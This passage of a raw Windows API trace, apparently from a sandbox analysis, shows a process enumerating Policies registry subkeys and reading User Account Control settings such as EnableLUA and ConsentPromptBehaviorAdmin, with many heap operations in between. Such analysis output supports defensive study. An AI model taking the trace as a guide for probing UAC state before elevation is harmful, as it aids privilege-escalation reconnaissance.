lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x58c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="attachments", lpUsedDefaultChar=0x0) returned 11 [0248.837] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x58b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0248.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x58c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0248.837] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x58b930, cchName=0x104 | out: lpName="NonEnum") returned 0x0 [0248.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x58c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nonenum", lpUsedDefaultChar=0x0) returned 7 [0248.837] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x58b930, cchName=0x104 | out: lpName="System") returned 0x0 [0248.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x58c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0248.837] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="System", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x38) returned 0x0 [0248.837] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58b930) returned 1 [0248.837] RegCloseKey (hKey=0xc4) returned 0x0 [0248.838] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58b860) returned 1 [0248.838] RegEnumValueA (in: hKey=0x38, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.838] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58b860 [0248.838] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58b878 [0248.838] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.838] RegEnumValueA (in: hKey=0x38, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.838] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58b888 [0248.838] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.838] RegEnumValueA (in: hKey=0x38, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.838] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58b898 [0248.838] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c168 [0248.838] RegEnumValueA (in: hKey=0x38, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.838] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58b930 [0248.838] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c1b0 [0248.838] RegEnumValueA (in: hKey=0x38, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.838] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x20) returned 0x58b940 [0248.838] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58b860) returned 1 [0248.838] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58b860 [0248.838] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c1f8 [0248.838] RegEnumValueA (in: hKey=0x38, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.839] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58b968 [0248.839] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c240 [0248.839] RegEnumValueA (in: hKey=0x38, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.839] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58b978 [0248.839] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c288 [0248.839] RegEnumValueA (in: hKey=0x38, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.839] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58b988 [0248.839] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c2d0 [0248.839] RegEnumValueA (in: hKey=0x38, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.839] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x30) returned 0x58b998 [0248.839] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58b940) returned 1 [0248.839] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58b940 [0248.839] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c318 [0248.839] RegEnumValueA (in: hKey=0x38, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.839] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58b950 [0248.839] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c360 [0248.839] RegEnumValueA (in: hKey=0x38, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.839] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58b9d0 [0248.839] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c3a8 [0248.839] RegEnumValueA (in: hKey=0x38, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.839] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58b9e0 [0248.839] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c3f0 [0248.839] RegEnumValueA (in: hKey=0x38, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.839] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c438 [0248.839] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58b998) returned 1 [0248.839] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58b998 [0248.839] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c480 [0248.839] RegEnumValueA (in: hKey=0x38, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.839] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58b9a8 [0248.839] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c4c8 [0248.839] RegEnumValueA (in: hKey=0x38, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.840] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58b9b8 [0248.840] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c510 [0248.840] RegEnumValueA (in: hKey=0x38, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.840] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58b9f0 [0248.840] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c558 [0248.840] RegEnumValueA (in: hKey=0x38, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0248.840] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c5a0 [0248.840] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c5a0) returned 1 [0248.840] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c5a0 [0248.840] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c5a0) returned 1 [0248.840] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c5a0 [0248.840] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c5a0) returned 1 [0248.840] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c5a0 [0248.840] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c5a0) returned 1 [0248.840] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c5a0 [0248.840] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.840] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58b878) returned 1 [0248.840] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.840] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58b888) returned 1 [0248.840] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c168) returned 1 [0248.840] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58b898) returned 1 [0248.840] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c1b0) returned 1 [0248.840] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58b930) returned 1 [0248.840] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c1f8) returned 1 [0248.840] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58b860) returned 1 [0248.840] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c240) returned 1 [0248.840] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58b968) returned 1 [0248.840] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c288) returned 1 [0248.840] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58b978) returned 1 [0248.840] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c2d0) returned 1 [0248.840] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58b988) returned 1 [0248.840] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c318) returned 1 [0248.840] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58b940) returned 1 [0248.840] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c360) returned 1 [0248.840] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58b950) returned 1 [0248.840] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c3a8) returned 1 [0248.841] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58b9d0) returned 1 [0248.841] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c3f0) returned 1 [0248.841] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58b9e0) returned 1 [0248.841] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c480) returned 1 [0248.841] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58b998) returned 1 [0248.841] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c4c8) returned 1 [0248.841] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58b9a8) returned 1 [0248.841] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c510) returned 1 [0248.841] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58b9b8) returned 1 [0248.841] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c558) returned 1 [0248.841] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58b9f0) returned 1 [0248.841] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c438) returned 1 [0248.841] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c438 [0248.841] RegQueryValueExA (in: hKey=0x38, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0248.841] RegQueryValueExA (in: hKey=0x38, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18fb9c, lpData=0x58c438, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x58c438*=0x1, lpcbData=0x18fba4*=0x4) returned 0x0 [0248.841] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c438) returned 1 [0248.841] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c5a0) returned 1 [0248.841] RegEnumValueA (in: hKey=0x38, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.841] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58b860 [0248.841] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58b878 [0248.841] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c5a0 [0248.841] RegEnumValueA (in: hKey=0x38, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.841] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58b888 [0248.841] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c438 [0248.841] RegEnumValueA (in: hKey=0x38, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.841] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58b898 [0248.841] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c558 [0248.841] RegEnumValueA (in: hKey=0x38, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.841] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58b930 [0248.841] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c510 [0248.841] RegEnumValueA (in: hKey=0x38, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.842] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x20) returned 0x58b940 [0248.842] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58b860) returned 1 [0248.842] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58b860 [0248.842] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c4c8 [0248.842] RegEnumValueA (in: hKey=0x38, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.842] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58b968 [0248.842] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c480 [0248.842] RegEnumValueA (in: hKey=0x38, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.842] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58b978 [0248.842] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c3f0 [0248.842] RegEnumValueA (in: hKey=0x38, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.842] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58b988 [0248.842] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c3a8 [0248.842] RegEnumValueA (in: hKey=0x38, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.842] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x30) returned 0x58b998 [0248.842] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58b940) returned 1 [0248.842] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58b940 [0248.842] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c360 [0248.842] RegEnumValueA (in: hKey=0x38, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.842] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58b950 [0248.842] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c318 [0248.842] RegEnumValueA (in: hKey=0x38, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.842] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58b9d0 [0248.842] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c2d0 [0248.842] RegEnumValueA (in: hKey=0x38, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.842] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58b9e0 [0248.842] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c288 [0248.842] RegEnumValueA (in: hKey=0x38, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.842] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c240 [0248.843] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58b998) returned 1 [0248.843] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58b998 [0248.843] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c1f8 [0248.843] RegEnumValueA (in: hKey=0x38, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.843] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58b9a8 [0248.843] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c1b0 [0248.843] RegEnumValueA (in: hKey=0x38, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.843] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d1e8 [0248.843] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c168 [0248.843] RegEnumValueA (in: hKey=0x38, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.843] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d1f8 [0248.843] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.843] RegEnumValueA (in: hKey=0x38, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0248.843] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.843] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.843] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.843] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c5a0) returned 1 [0248.843] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58b878) returned 1 [0248.843] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c438) returned 1 [0248.843] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58b888) returned 1 [0248.843] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c558) returned 1 [0248.843] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58b898) returned 1 [0248.843] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c510) returned 1 [0248.843] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58b930) returned 1 [0248.843] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c4c8) returned 1 [0248.843] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58b860) returned 1 [0248.843] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c480) returned 1 [0248.843] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58b968) returned 1 